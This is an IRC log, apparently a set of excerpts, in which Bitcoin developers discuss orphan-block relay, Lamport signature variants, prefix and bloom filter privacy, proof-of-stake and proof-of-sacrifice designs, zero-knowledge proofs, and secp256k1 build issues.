19:41 < amiller> i mean no one's going to like it just because it challenges the notion of "one true currency" that makes things simpler
19:41 < gavinandresen> amiller: ah, ok.
20:13 < Luke-Jr> gavinandresen: that only works if it's something non-debatable with unanimous consensus against it
20:14 < Luke-Jr> to discourage blocks that are mining legitimately, even if everyone dislikes something, is nothing short of a conspiracy to 51% really
20:14 < gavinandresen> Luke-Jr: doesn't have to be unanimous
20:15 < gavinandresen> if miners are using a variety of policies for how to break block-chain-race ties, then that is perfectly OK
20:15 < Luke-Jr> oh, sure
20:15 < Luke-Jr> I thought you meant deliberately forking
20:16 < gavinandresen> if miners don't know exactly how ties are being broken, all the better.
20:16 < gavinandresen> No, when I say "discourage" i mean relay all orphans, and if there is a tie, use some policy to decide which fork to follow
20:17 < Luke-Jr> makes sense then
20:18 < petertodd> There's also the argument that relaying all orphans levels the playing field between those with and without a lot of nodes, although I'm not 100% convinced - relaying orphans done badly uses up bandwidth that could be used for something else.
20:18 < petertodd> Relaying orphans would be damn convenient though to get good stats...
20:19 < warren> petertodd: just peer with all nodes to get good stats...
20:19 < gmaxwell> I don't think thats obvious at all. Relaying orphans is against your self interest in some cases, e.g. if it helps nodes end up on a different chain than the one your node prefers.
20:20 < petertodd> warren: and if knowing about orphans is ever profitable we've just incentived an attack
20:20 < gmaxwell> For example, non-relaying of orphans means that a inconsistent hardforking glitch is more likely to pick the least common denominator chain instead of leaving some nodes hardforked.
20:21 < Luke-Jr> let the receiver choose whether he wants it ;)
20:21 < petertodd> gmaxwell: IIRC I mentioned something very similar to that in my discussion about the 30% propagation incentives
20:21 < Luke-Jr> btw, I assume "orphans" here is being used to mean stale blocks..
15:14 < petertodd> A chaumian bank could just as easily encrypt it's database and give that to the client in the same way.
15:14 < gmaxwell> petertodd: true but you'd have to transfer the whole thing each time.
15:15 < petertodd> But you still have to transfer the list of spent tokens with zerocoin
15:16 < gmaxwell> oh darn, right the accumulator update proof still requires you to have the accumultor.
15:16 < petertodd> Yup
15:16 < petertodd> in zerocoin the accumulator size doesn't grow IIRC, but the spent tokens do
15:17 < petertodd> also if I understand it with zerocoin the witness required to prove a coin is actually related to the accumulator at a given state - if you want to apply the witness to the most recent accumulator you need to apply every transaction to that witness
16:28 < gmaxwell> hey. So. Lamport signature. Say your private key is 16384 256 bit values. The public key is hash tree root over 16384 256 bit hashes of those values.
16:30 < gmaxwell> To sign, you hash the message and the public key. And you use the results to uniformly pick 9 of the 16384 secrets to reveal.
16:30 < gmaxwell> You reveal hem along with the fragments that connect them to the root.
16:31 < gmaxwell> so the signature size is 4.3kbytes or so. Why is this not secure?
16:38 < sipa> is there any reason to assume it's not secure?
16:38 < gmaxwell> I mean, I'm suggesting a variation on lamport which is smaller and which should be more secure under multiple signatures with the same key.
16:40 < gmaxwell> Classical lamport with a tree public key has the signature disclose 256 preimages and 256 hash secrets. I propose instead to disclose only a few, controlled by the hash of the key and the message. And prove that they're the right ones by showing that they're part of the key's hashtree.
16:57 < gmaxwell> ah. okay so that proposal has only 64 bits of security against a rebinding attack by a quantum attacker.
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21:07 < amiller__> making some progress on the bitcoin for researchers front
21:07 < amiller__> well more to the point, i can report that other people are making progress
21:08 < amiller__> arvin narayan an assistant prof at princeton is interested in working openly on bitcoin things, and pointed out that it's strange there's no tutorial or survey for researchers https://docs.google.com/document/d/1OGLD6YssxABjvcIdGMqXW-EkZnv6g52iLSUdJrxldJg/edit
21:09 < amiller__> matthew green is also an assistant prof in cryptography and applied security and has sort of started a project he views as a "planetlab for bitcoin" but is basically a similar concept as "scamcoin"
21:09 < petertodd> amiller__: I've got someone interested in a tutorial/survey you can try it out on BTW.
21:09 < amiller__> the zerocoin guy
21:10 < petertodd> amiller__: Not a perfect test, because they know me and I've talked to them about Bitcoin before, but the guy admitted the other day that he still didn't understand enough about mining to understand some statistics questions I was asking.
21:10 < amiller__> h
21:10 < amiller__> m
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16:28 < gmaxwell> oh, hey, doing non-interactive cut and choose would let you do things like reasonably compact 1024 of 2048 multisig transactions via (sufficiently powerful) script.
16:31 < gmaxwell> e.g. the pubkey commits to a hashtree of M allowed voters (h1), the signature provides a hashtree (h2) over N approving voters, signatures for a sufficient number of voters selected via CSPRNG from (h2), and the connecting hashtrees.
16:33 < gmaxwell> e.g. a 128 bit security 1024 of 2048 could be done in about 9.5kbytes.
17:42 < petertodd> Nice!
22:53 < petertodd> Note though, this only works in scenarios where creating the signature is expensive/one-time, otherwise there's no cost to keep trying until the cut-n-choose gets lucky,.
22:54 < petertodd> So you could do a two-stage tx in this method, if committing to a signature provably costs you something. (like fees paid to a miner in the future)
22:55 < gmaxwell> petertodd: you don't have to
if the cut and choose picks enough points you will expect to do >2^128 (or other security parameter, your choice) hash operations before you get one that only picks your chosen values.
22:57 < gmaxwell> obviously it creates some slop right around the threshold, I suppose it would be better for things that required a supermajority.
22:58 < petertodd> gmaxwell: yeah, I'm thinking those edge cases where that's much harder, or for sets that aren't all that large
22:58 < gmaxwell> yea, if the set isn't that large acceptable security starts demanding you provide all the signatures.
22:58 < petertodd> what's the equation for hash functions required vs. proof size exactly? I seem to remember it's not all that forgiving in many cases
23:11 < gmaxwell> It actually works out less well than I thought, because the probablity that the hidden set does not contain a opposing voter drops off much less rapditly than the probablity that it contains only one supporting voter.
23:13 < petertodd> yeah, I worked it out for trying to do NI cut-n-choose on sacrifice proofs and it was ugly
23:17 < petertodd> idea I had: do a partial UTXO set mode where you build the UTXO set based on what txouts you have verified, starting at the most recent block
23:17 < petertodd> it's interesting, because you can then validate transactions that spend from that partial set with good confidence
23:18 < petertodd> hence such nodes can safely relay transactions and be useful to the network, and over time download enough blocks to become full nodes as well
23:18 < petertodd> makes for a nice SPV->partial UTXO->full node progression
23:19 < petertodd> the scary thing though is you could safely mine in this mode as well... safe from your perspective anyway
23:19 < gmaxwell> e.g. for the probablity that your revealed values are the only good ones: product(1/(1024-x),x,1,13)<=1/2^128 which is good, but the "are no false ones" can never have a probablity better than 1/(n-1).
23:20 * Luke-Jr ponders why petertodd's remote didn't update with --all :/
23:20 < petertodd> Luke-Jr: my remote?
23:20 < Luke-Jr> petertodd: on github. probably their fault
23:20 < petertodd> Luke-Jr: ah, what code are you interested in?
23:21 < Luke-Jr> petertodd: preparing to do another next-test spin
23:21 < Luke-Jr> so.. everything
23:21 < Luke-Jr> well, everything there's an open pullreq for anyhow :x
23:22 < Luke-Jr> hmm
23:22 < petertodd> Luke-Jr: heh, the mempool rewrite is partial, I only did the pull-req because I wanted to run the pull-tester against it... :P
23:22 < Luke-Jr> petertodd: well, at least this way you'll annoy me and get a rant if it breaks gitian? :p
23:23 < petertodd> Luke-Jr: heh
23:23 * Luke-Jr dunno why the pulltester doesn't use gitian yet
23:23 < Luke-Jr> second --all found codeshark's not updated either
23:23 < Luke-Jr> stupid git
23:24 < petertodd> oh, reminds me, so in the mempool code, I created a CMemPoolTx subclass of CTransaction and use that subclass to store the extra mempool-related data - is that considered good C++ practice?
23:25 * petertodd hasn't done serious C++ programming since highschool.
23:25 < Luke-Jr> petertodd/correct-isfinal-isstandard and discourage-fee-sniping need rebase
23:26 < Luke-Jr> petertodd: bad in our case, at least - the transaction should be capable of being in multiple distinct mempools
23:27 < petertodd> I wanted to avoid that additional layer of indirection - leads to some ugly code
23:27 < petertodd> you'd need to do ref counting too in that case
23:28 < Luke-Jr> good thing boost has pointers to handle that for us <.<
23:28 < Luke-Jr> side rant about rebasing: it prevents anyone from maintaining a real fork of the codebase
23:28 < petertodd> I know, but from what I see we've avoided those constructions everywhere else
23:28 < Luke-Jr> effectively forces centralization on the project
23:29 < petertodd> Luke-Jr: IMO not relevant here because we're talking about code that is getting changed drasticly as the pull-req evolves
23:30 < Luke-Jr> petertodd: sometimes. most of the time the rebase is just to adapt to the upstream
23:30 < Luke-Jr> and even then, those changes could be additional commits on top
23:30 < petertodd> Luke-Jr: I think more interesting is what litecoin is doing, rebasing all the 0.7->0.8 changes, where they probably could have done a merge
23:31 < petertodd> So what's your usecase for multiple distinct mempools anyway?
23:33 < Luke-Jr> petertodd: I do that every other month. It's possible, but a real pain.
23:33 < Luke-Jr> petertodd: I wouldn't want to actually *maintain* a client based on it.
23:33 < Luke-Jr> no use case. just proper abstraction
23:34 < petertodd> hmm, well when that case comes up changing things would be a fairly mechanical patch
23:35 < petertodd> more generally it shows how a more functional style would make sense here - we keep on recomputing tx hashes because tx's are mutable
19:22 < maaku_> warren: anti-centralization is uncontrovertial. some of the side effects of relevant proposals are worrisome on the other hand
19:23 < petertodd> killerstorm: "can implement lamport" is probably a good minimum test for whether or not your scripting system is general enough!
19:23 < maaku_> there's no clear cut path forward which decentralizes the network without tradeoffs
19:23 < warren> petertodd: 1) easy to MITM 2) easy to determine which keys you have 3) no way of doing authenticated peerings 4) expensive to the server
19:24 < petertodd> warren: right 1) committed (U)TXO 2) all the lessons in my blockchain privacy paper 3) add SSL or SSL-alike 4) prefix-filters w/ appropriate indexes
19:25 < warren> maaku_: multiple competing scalable p2pool-like things with a trustless accumulators and more GBT pools would be low hanging fruit
19:25 < petertodd> warren: electrum actually is reasonably close to solving all that, modulo committed indexes
19:25 < warren> petertodd: yeah
19:25 < adam3us> petertodd, warren: prefix have worse privacy properties than bloom.
19:25 < petertodd> warren: problem is we have to make it *more* profitable to mine with p2pool/decentralized, and that's going to require changing economics
19:25 < maaku_> petertodd: well, Thomas is waiting on me for the indices
19:25 * maaku_ gets back to work
19:25 < petertodd> adam3us: depends on your attack model
19:26 < petertodd> adam3us: again, did you read my paper? :P I strongly think in practice with real users prefix has better real-world privacy
19:26 < adam3us> petertodd: broadcast vulnerable info is like worse because it can be analysed later by anyone, vs sent to one random node
19:26 < adam3us> petertodd: i did, i just disagree.
19:26 < petertodd> adam3us: well, least you read it finally, ha
19:26 < warren> petertodd: the lower orphan rate should help. currently the too-many-txo's in coinbase is a problem.
19:26 < adam3us> petertodd: yeah i skimmed it before also. as i recall gmaxwell has the same view as me on that risk.
19:27 < warren> petertodd: the trustless accumulator should help that
19:27 < petertodd> adam3us: problem is bloom naturally leads to a situation where people broadcast the *exact* contents of their wallets over and over again to random peers, and that's just nasty
19:27 < petertodd> adam3us: android wallet has 1 in 16k specificity for a reason - users want fast syncs
19:27 < petertodd> adam3us: that could really kill coinjoin the moment attackers start running SPV nodes to collect wallet data
19:28 < petertodd> warren: no it won't - it still requires all the expense of running a full node
19:29 < adam3us> petertodd: they are both non ideal solutions. it is considered in privacy that you should pick a random node and stick to it. if its going to analyse you it already did. if you explore random nodes eventualy you'll find a hostile one. tor doesnt do this yet either, but theyre planning to fix it.
19:29 < petertodd> adam3us: anyway, prefix *queries* are a categorically better model than bloom filters from the point of view of lookup privacy
19:29 < adam3us> petertodd: that might be. also electrum is like central/trusted type of solution right?
19:30 < petertodd> adam3us: now forcing your txouts to match prefixes may or may not be the right approach, but only prefix queries lets you distribute the load, and thus query specificity leak, accross multiple nodes
19:30 < petertodd> adam3us: electrum is not different from bloom SPV in principle
19:30 < petertodd> adam3us: in practice maybe more secure in some models because there are fewer electrum servers
19:30 < petertodd> adam3us: and their operators are better known
19:30 < adam3us> petertodd: but in practice, i thought electrum have a few central servers
19:31 < petertodd> adam3us: meh, picking random nodes and sticking to them isn't very feasible without a "small number of nodes run by volunteers" model
19:31 < adam3us> petertodd: yes if u trust electrum. the other model as said above, pick a random node and try to stick to it.
19:31 < petertodd> adam3us: and even in that model you're better off with prefix queries
19:31 < petertodd> adam3us: electrum *is* the pick a random node and stick to it mdoel
19:32 < adam3us> petertodd: well its electrum advertising them selves as a trustworthy node. sometimes that is a flag to say dont trust them.
19:32 < petertodd> adam3us: anyway, my prefix solution may leave some statistical data in the chain, but it has the enormous advantage that it doesn't fail hard the moment an attacker does a sybil attack. it also doesn't give that attacker a reason to do that sybil attack
19:33 < petertodd> adam3us: note how prefixes gives you decent security even *if* you're connected to the nsa
19:33 < warren> We could just forget about SPV, finish ultraprune and stop worrying about this.
19:33 < adam3us> petertodd: if u use prefix with one-use addresses t seems ok no? no need for explicit prefix
19:33 < petertodd> adam3us: (prefixes + addr grinding)
19:34 < petertodd> adam3us: no! unless your addresses in your wallet are clustered around a prefix, for a given amount of bandwidth you have to have very specific prefixes and thus are leaking a heck of a lot of data
19:34 < CodeShark> what's the prefix solution? using the first few bytes of a pubkey or script hash rather than a bloom filter?
19:34 < petertodd> warren: ultraprune doesn't help with bandwidth
19:34 < petertodd> CodeShark: yeah, there's two parts to it, first for queries you can always query by prefix
19:34 < adam3us> petertodd: could be block range constrained + closeness metric to tune like bloom
19:35 < petertodd> CodeShark: secondly you can always force your addresses in your wallet to *all* be clustered around soem prefix, which means you only have to do a single query
19:35 < petertodd> CodeShark: the beauty of the latter is even if you're querying the NSA for blockchain data they learn very little about what's in your wallet, the disadvantage is you leak *some* stat information to the blockchain permanently
19:35 < adam3us> petertodd: yeah but then you're back to broadcasting anon-set reducing info to the block chain for the stats analysis guys to party on.
19:36 < petertodd> CodeShark: I argue leaking some all the time is much better than leaking your exact wallet contents the moment you manage to connect to the NSA
19:36 < petertodd> adam3us: the types of people who have the resources to do stats analysis have the resources to just run 50% of the available nodes to connect too
19:36 < adam3us> petertodd: if you query the NSA with a prefix, they learn the anon-set you are in. just info o help triangulate you no?
19:37 < adam3us> petertodd: eh no? academics do it for like 3rd year project
19:37 < petertodd> adam3us: I mean, shit, I was running about 10% of all public nodes for a few hours to test an attack
19:37 < petertodd> adam3us: yeah, all they learn about is the prefix, and then the stats leaks stops
19:37 < adam3us> petertodd: oh ok, u mean on the low side, gotcha
19:38 < petertodd> adam3us: vs. without prefixed addresses *in reality* users set very specific prefix/bloom filters, and then you leak very specific contents of your wallet
19:38 < adam3us> petertodd: but a bloom filter with some decent params can do that also no?
19:38 < petertodd> adam3us: yeah, from the point of view of "clustered wallet addresses" bloom and prefix are identical
19:38 < CodeShark> petertodd: right now with BIP0032, you can have at most 2^31 different keys from a particular master seed - so say you use k bit prefix - that reduces the number of keys to 2^(31 - k), no?
19:38 < adam3us> petertodd: so say TD fixed improved the params
19:38 < petertodd> adam3us: if you're not clustering wallet addrs, bloom and prefix are identical, it's just the latter is way more scalable
19:39 < jtimon> petertodd is there any reason why you can't use several prefixes in your wallet? more bandwith but more privacy
19:39 < jtimon> ?
19:39 < petertodd> CodeShark: well BIP32 has problems there
19:39 < petertodd> adam3us: it's impossible to fit the params, it's a specificity/bandwidth tradeoff
19:39 < petertodd> adam3us: s/fit/fix/
19:39 < jtimon> say, use 3 prefixes, n instead of 1
19:39 < petertodd> adam3us: if you think params has anything to do with it you didn't understand my paper...
19:39 < adam3us> petertodd: bloom/prefix similar with no addr clustering... yes.
19:39 < CodeShark> perhaps we should expand the BIP0032 child index to 64 bits :)
19:40 < petertodd> jtimon: more prefixes *of the same length* just means you're using more bandwidth
19:40 < petertodd> jtimon: remember this is a bandwidth/anonymity set tradeoff
19:40 < adam3us> petertodd: you claimed the default params were too specific, so make them les so, while still tolerable bw.
19:40 < petertodd> adam3us: the reason why they are so specific is because users aren't tolerating more bandwidth
19:40 < jtimon> petertodd yes, my point is you can make the tradeoff configurable
19:40 < petertodd> jtimon: yes, and you can do that with prefix clustering too
19:40 < CodeShark> petertodd: I'm also thinking about how deterministic m-of-n script chains could work with this prefix model
19:41 < adam3us> petertodd: well more importantly u also said as i recall there was no feature to change the params
19:41 < jtimon> yes, yes, with prefixes
19:41 < petertodd> jtimon: the fundemental problem is that if you don't cluster all your addresses in one prefix or bloom index, then naturally you have to have fairly specific filters, which overtime become more specific and let you be attacked
19:42 < petertodd> adam3us: in the library and wallets no, but the bloom filter specification does let you change the params easily by making the filter smaller
19:42 < petertodd> adam3us: smaller filter == less specific
19:42 < CodeShark> there is in my library :)
19:42 < petertodd> CodeShark: good
00:24 < amiller> now for each one of these, if some untrusted agglomeration of network nodes gives me a proof, i can validate this proof with one crazy crypto field multiply.
00:25 < amiller> also no secrets are involved, so the big ol' crazy program can be compiled once for everyone and maybe we can agree on them using checkpoints
00:25 < amiller> or validate them piecemeal or something
--- Log closed Sun May 05 00:00:05 2013
--- Log opened Sun May 05 00:00:05 2013
03:24 < amiller> i haven't looked at my anti-coalition puzzle for a while, but i've learned how to use two crypto primitives to do roughly what i want
03:24 < amiller> the first is a zero knowledge proof, the second is an extractable hash function
03:24 < amiller> i'll explain what the point of this is
03:25 < amiller> to encourage decentralization (or discourage pooling resources) we might want to design a proof of work puzzle that is difficult to outsource
03:25 < amiller> the basic scenario is this
03:26 < amiller> suppose Alice and Bob each have a personal budget, and they have two options: either they pool resources and purchase one big Asic, or they each mine independently with their GPUs
03:26 < amiller> also they don't inherently trust each other
03:26 < amiller> it's more efficient for them to pool resources and buy an asic, although this option is also more centralized and therefore worse for the network overall
03:27 < amiller> assume that if they buy the asic then Alice has to operate it at her house
03:28 < amiller> since they don't trust each other, the only way they'd agree to this is if they can work out an arrangement where Alice can prove that she's operating the asic fairly, meaning in a way that benefits them both equally
03:28 < amiller> the current proof of work puzzle mostly accomplishes this
03:28 < amiller> the basic technique is for Alice to show Bob her shares, like the closest she gets to a winning block each day
03:29 < amiller> more specifically, the winning nonces are a set, and the "shares" are a much larger superset of the winning ones
03:29 < amiller> each computed hash in bitcoin contains a hash commitment to a particular block, so by revealing the block alice can prove that she was running at roughly the correct rate, and that she was only working on blocks that would have paid out equally to both of them
03:30 < amiller> okay so this is bad for decentralization, because in the extreme case everyone might want to pay for shares of a huge mining operation that gets cheap power in sweden or something
03:31 < amiller> what we'd basically want as an alternative is a proof of work puzzle that doesn't admit such a safe outsourcing protocol
03:32 < amiller> the idea is that whoever is operating the asic and doing the hashing should be enabled to run away with whatever the winnings are
03:33 < amiller> what makes the safe outsourcing protocol work for the hashcash pow is that the work contains a commitment to a particular payout strategy
03:34 < amiller> to get this desired anti-coalition property, it should be malleable in the sense that the payout destination is undefined until after the work is complete!
03:35 < amiller> the current work can be thought of as this: h( nonce || block-commitment || payout-commitment ) < difficulty
03:35 < amiller> the basic structure of my suggestion is this: h( nonce || block-commitment || privatekey ) < difficulty
03:35 < amiller> so you can still commit to a block, just it's everything except the actual thing it takes to win the coin
03:36 < amiller> like whoever possesses the private key can claim the prize
03:36 < amiller> so far this is all just a recap i've done this same ramble previously in #bitcoin-dev
03:36 < amiller> now for the new material...
03:36 < amiller> there's a certain property of this hash function that we want which is that it should be "extractable"
03:36 < amiller> extractable is like the opposite of obfuscatable
03:37 < amiller> if it's not extractable, then there's the potential for the involved parties to create some wacky obfuscated hash function where the private key is built into the hash and there's no way to recover it just from evaluating it on different nonces
03:37 < amiller> if it's extractable then that's not possible
03:38 < amiller> extractable hash functions are discussed here: http://eprint.iacr.org/2011/443
03:38 < amiller> it's sort of a recently popular concept because it's equivalent to the super-efficient circuit verification i talked about last time
03:39 < amiller> but it's kind of on shaky ground as far as assumptions go, it doesn't seem possible to prove that a construction is extractable, but there are constructions that are thought to be...
03:39 < amiller> okay so the next problem is
03:40 < amiller> normally you have to revael the nonce and the block commitment etc as plaintext
03:40 < amiller> but in my scheme where that's a private key, it wouldn't be safe to do so
03:40 < amiller> this is where a zero knowledge proof comes in, all you have to do is construct a zero knowledge proof that you know a privatekey such that the condition holds
03:41 < amiller> and you can still open the block-commitment as normal
03:48 < amiller> to actually give a formal definition for this property i'd have to have something more to say
03:48 < amiller> about like the kind of joint work protocols that i'd consider
03:48 < amiller> because like
03:49 < amiller> any hash function at all could be done as a multiparty computation or a homomorphic outsourcing thing
03:49 < amiller> but basically those would be way less efficient (hopefully)
03:50 < amiller> so i think like the best that can be done is to say something to the effect of well if you want to form a coalition among untrusting parties, then you'd have to use a heavy generic technique which would probably obliterate any advantage from economy of scale
20:43 < sipa> warren: btw, i have a branch of my bitcoin repository (secp256k1) that uses my library, and doesn't need OpenSSL/EC
--- Log closed Mon May 06 00:00:08 2013
--- Log opened Mon May 06 00:00:08 2013
03:41 < warren> sipa: horray!
03:41 < warren> sipa: I was about to install Ubuntu for the first time ever.
03:43 < warren> I'm sorry I haven't been helpful here.
04:00 < jgarzik> warren: heh, just did so myself tonight
04:01 < jgarzik> warren: felt dirty, too
04:03 < gmaxwell> "I heard jgarzik installed ubuntu, the writings on the wall"
04:05 < jgarzik> gmaxwell: It was either Ubuntu or debug grub :/
04:18 < warren> jgarzik: I installed ubuntu in a VM but didn't login yet. Now I can wipe it. =)
05:08 < warren> sipa: is the intent for this library to eventually be incorporated as /src/secp256k1, ship as a separate library, or both?
05:16 < sipa> at least as a separate library, but for bitcoin it probably makes sense to incorporate it in the source tree
06:59 < warren> sipa: [warren@newcaprica secp256k1]$ ./configure
06:59 < warren> <stdin>:1:24: fatal error: openssl/ec.h: No such file or directory
06:59 < warren> sipa: I guess that wasn't adapted yet. Makefile works.
07:00 < sipa> oh
07:01 < warren> TODO is also old.
07:29 < sipa> warren: fixed
07:51 < warren> sipa: allocators.h:12:53: fatal error: openssl/crypto.h: No such file or directory
07:51 < sipa> warren: you still need openssl, just no EC-enabled one
07:51 < warren> ahhh, ok
07:51 < sipa> this isn't too hard to change, though
07:51 < sipa> it's only used for RIPEMD160, SHA256 and a PRNG
07:52 < sipa> and lbisecp256k1 uses either openssl or gmp by itself
07:52 < sipa> (preferably gmp, as it's faster)
07:56 < sipa> oh, and SSL-RPC, which would be pretty hard to change (though i'm in favor of just removing that, and suggesting to use stun if you need it)
08:19 < warren> /bin/ld: cannot find -lboost_thread
08:19 < warren> I'm missing something...
11:30 < gmaxwell> warren: BOOST_LIB_SUFFIX='-mt' make -j4 -f makefile.unix bitcoind USE_UPNP=
--- Log closed Tue May 07 00:00:10 2013
--- Log opened Tue May 07 00:00:10 2013
14:19 < gmaxwell> So. An idea to make proof of stake more workable... what if coins selected to function as consensus stake were temporarily destroyed at heights where they were eligible for stake and then returned via regeneration, if and only if no one presents to the network evidence that the same stake signed more than one distinct consensus? It still wouldn't prevent
abuse of stake to create deep reorgs, since you can't make coin invaldation so ...
14:19 < gmaxwell> ... powerful that it invalidate the coins of downstream users.
18:43 < warren> gmaxwell: does that deal with the "rich getting richer" issue?
18:45 < gmaxwell> warren: I don't think there is any real RGR issue in POS inherently, so long as linearity is preserved. (PPCoin doesn't do a good job preserving linearity)
18:49 < gmaxwell> having to have the stake still for a while does create some richness bias, alas.
18:50 < warren> gmaxwell: Is any form of PoS flawed because any form of it incentives pooling of stake to ensure receiving stake rewards, which is an anti-incentive to decentralization? Yes, it's hard for stakeholders to *trust* each other, but if they do they become an unstoppable cartel.
18:53 < gmaxwell> warren: they're all linear, having more stake in one place doesn't increase your ability to mine stake than having it in many. Now
you might not care to run validation if you don't have a sufficient consolidation to make your income great... but thats no different than any POW scheme: if _validation_ costs are high relative to users tolerance such that
they have to be paid to validate, then it can't be decenteralized.
18:58 < warren> haha. one of the litecoin clones bubbled to be 400% more profitable than mining BTC for a week. Attracted a great many miners then popped. Now it is limping along with new blocks > 4x slower than designed.
18:59 < warren> those stupid exchanges have been adding days old alt coins to trading
20:07 < petertodd> justanotheruser: your communication includes that nLockTime'd tx - that's how you pay for it
20:07 < justanotheruser> petertodd: well you would have to pay a fee for that tx, then everyone would have to pay a fee for the coinjoin tx to go through
20:08 < petertodd> justanotheruser: which you have to anyway - tx's aren't free
20:08 < justanotheruser> petertodd: yes, but with PoS you only have to pay one
20:09 < petertodd> justanotheruser: no, it's identical to pos, except that you ensure something of value is actually lost
20:09 < petertodd> justanotheruser: after all, you can't prove pos other than by signing for a txotu scriptPubKey, this is the same, except you've signed a valid-in-the-future transaction with some minor fee
20:11 < justanotheruser> petertodd: When you have stake that means you payed a fee to get the coins. That is what you lost.
20:12 < petertodd> justanotheruser: it's the same argument as merge-mining: to the attacker they can re-use something they already have (txouts sitting around) for free
20:12 < justanotheruser> except for cases where millionaires don't pay fees, but there aren't enough of those to worry about
20:13 < justanotheruser> petertodd: they can use it for free, but they can only use a certain amount of it. Then they have to make another tx to spend again. The coinjoin tx takes care of this.
20:14 < justanotheruser> s/use a certain amount of it/use it to a certain extent.
20:15 < petertodd> justanotheruser: yes, but now you have to have a database of UTXO's whose stake has been proved, vs. there's a natural time limit because the fee sacrifice tx's get mined
20:16 < justanotheruser> gmaxwell: does pinnochio take care of petertodds concern?
20:17 < justanotheruser> petertodd: Wouldn't proof of burn also remove anonymity in the same way?
20:18 < petertodd> justanotheruser: yes, emphasis on the same way, they're both identical re: anonymity, but the burn version has better resistance to DoS attack
20:21 < justanotheruser> petertodd: I don't understand pinnochio fully, but gmaxwell said it would work for proof of burn and I think he said it would work with PoS
20:22 < justanotheruser> It's a pretty big research paper
20:22 < gmaxwell> what concern?
20:22 < justanotheruser> And I have to look stuff up every page
20:22 < gmaxwell> you guys said a bunch of stuff
20:22 < justanotheruser> gmaxwell: (08:15:21 PM) petertodd: justanotheruser: yes, but now you have to have a database of UTXO's whose stake has been proved, vs. there's a natural time limit because the fee sacrifice tx's get mined
20:22 < petertodd> justanotheruser: pinnochio is orthogonal to the choice between proof-of-stake and proof-of-sacrifice
20:23 < justanotheruser> petertodd: then your comment was irrelevant to the discussion of which was the better method
20:23 < gmaxwell> what pinnochio lets you do is make compact blind proofs from something where you have efficiently extractable authenticated data.
20:23 < justanotheruser> because they both have that glaw
20:24 < petertodd> justanotheruser: pinnochio's proof-of-stake for anti-DoS still requires a UTXO database, or you can re-use proofs. (it becomes like some weird zero-coin thing in that case)
20:24 < gmaxwell> right now because we don't have a committed utxo proof-of-sacrifice will be smaller unless you expect all validators to keep a copy of the utxo themselves. Having the verifiers have a utxo database might actually be a bunch better since it could be restructured in a way to make the proofs small.
20:24 < petertodd> justanotheruser: for the proof-of-burn case, then pinnochio is less desirable because you have to do a separate burn that's actually mined
20:25 < gmaxwell> petertodd: my suggest for rate limiting based on POS is that you do get a once per $time_interval random ID out of your stake.
20:25 < petertodd> gmaxwell: proof-of-stake for anti-dos requires you to at worst end up storing something like a bloom table of spent stakes
20:25 < petertodd> gmaxwell: it's doable, but potentially ugly long-term if people really want to attack it
20:25 < gmaxwell> yea, you'd then use a hashtable that you keep for $time_interval
20:26 < petertodd> gmaxwell: I mean, you've created an incentive to make a lot of utxo's you know... or failing that, you let rich people block coinjoin
20:26 < petertodd> gmaxwell: at least proof of burn ensures they'll spend fees doing so
20:26 < gmaxwell> petertodd: well of course the proof can emerge a bound on its value.
20:26 < justanotheruser> couldn't your "proof of time" be the hash of your proof plus the unix time being below a certain value?
20:26 < gmaxwell> proof of burn can't be done non-interactively in zero knoweldge.
20:27 < gmaxwell> PoS and PoS can be.
20:27 < petertodd> gmaxwell: no, but my trick of nLockTime'd tx's isn't a serious disadvantage - note how you can very much use a different txout then the one you actually join
20:28 < gmaxwell> for coinjoin PoB is pretty great, I agree.
20:28 < gmaxwell> since coinjoin inherently must expose a txout.
20:28 < petertodd> yeah, and for everything else, proof-of-prior sacrifice *with* some kind of domain-specific tag is pretty decent
20:28 < gmaxwell> for something like a replacement for BitMessage's pow I prefer PoS or PoS.
20:28 < sipa> gmaxwell: PoS and PoS (i do keep reading that as piece of s**t...)
20:29 < gmaxwell> Proof of Stake or Proof of sacrifice.
20:29 < petertodd> sipa: PoS and PoX I prefer myself
20:29 < justanotheruser> gmaxwell: should their stake expire after a certain number of blocks? Otherwise they can use the network at no cost
20:30 < gmaxwell> justanotheruser: you'd prove that you had stake as of some reference time that moves periodically.
20:30 < gmaxwell> e.g. first block after midnight utc every day.
20:30 < petertodd> justanotheruser: funny how you actually want the inverse of coinage in this case
20:30 < justanotheruser> petertodd: yes, coin/days
20:30 < gmaxwell> every day at the first block after midnight all the message nodes snapshot their utxo and reorg it into a hash tree and save the root.
20:31 < gmaxwell> Then when you want to use a message for this hour you run the ZK proof to get a token good for the hour that proves you had a coin in the last day's utxo snapshot.
20:32 < gmaxwell> likewise for proof of sacrifice, except you just extract sacrifice like transactions.
20:32 < petertodd> gmaxwell: heck, just prove you have a txout that existed in some time period, and spent a txout preior with some amount of coin-days destroyed
20:33 < gmaxwell> yea, whatever, you can get compact proofs of any of this if you don't mind the participants needing to bitcoin nodes and thus generating the data extracts themselves.
20:33 < petertodd> gmaxwell: well, that case you'll have all that data in your wallet actually
20:33 < gmaxwell> unfortunately using bitcoin's own data for ZK proofs is kinda craptastaic because of having to traverse a whole variable length transaction just to extract an output.
20:34 < petertodd> yup
20:34 < gmaxwell> but if you extract the data directly you can reorder how its stored.
20:34 < justanotheruser> How big is the proof of stake using pinnochio?
20:34 < gmaxwell> e.g. use exactly the ultraprune data structure though bitcoin itself never commits to it... all participants would come up with the same value.
20:36 < gmaxwell> justanotheruser: the proofs are 288 bytes (well, in the pinnochio paper they might be a bit larger, but they can be done in 288 bytes), plus a few more bytes to identify the serial number, epoch, and utxo set that its relative too.
20:36 < justanotheruser> That's not bad
20:39 < justanotheruser> gmaxwell: Why is a proof of SHA256 so big?
20:41 < maaku> justanotheruser: SHA256 is a non-trivial function?
20:41 < justanotheruser> maaku: So ECDSA isn't?
20:42 < maaku> that's an apples-to-hot-wheels-cars comparison
20:42 < midnightmagic> gmaxwell: I do not appear to have an easily-accessible sidechain that reorgs out 1000-blocks, if -loadblock can be used to replay the blk*.dat files and the dat files have the sidechains stored in them by default.
20:42 < petertodd> justanotheruser: you don't need to prove ECDSA in this case
20:42 < midnightmagic> gmaxwell: I have one more place where I can look. Would you like me to check?
20:43 < gmaxwell> Because ECDSA is special in that it naturally yields compact proofs of knoweldge. There are very few things that do this.
20:43 < gmaxwell> midnightmagic: not that urgent I have it at home someplace.
20:43 < petertodd> gmaxwell: how does that work?
20:43 < midnightmagic> ok
20:44 < midnightmagic> gmaxwell: If it's cleanly possible to get a copy of that I would sure love one. :-D
20:44 < gmaxwell> petertodd: an ECDSA signature is a proof you know the discrete log of the public key value.
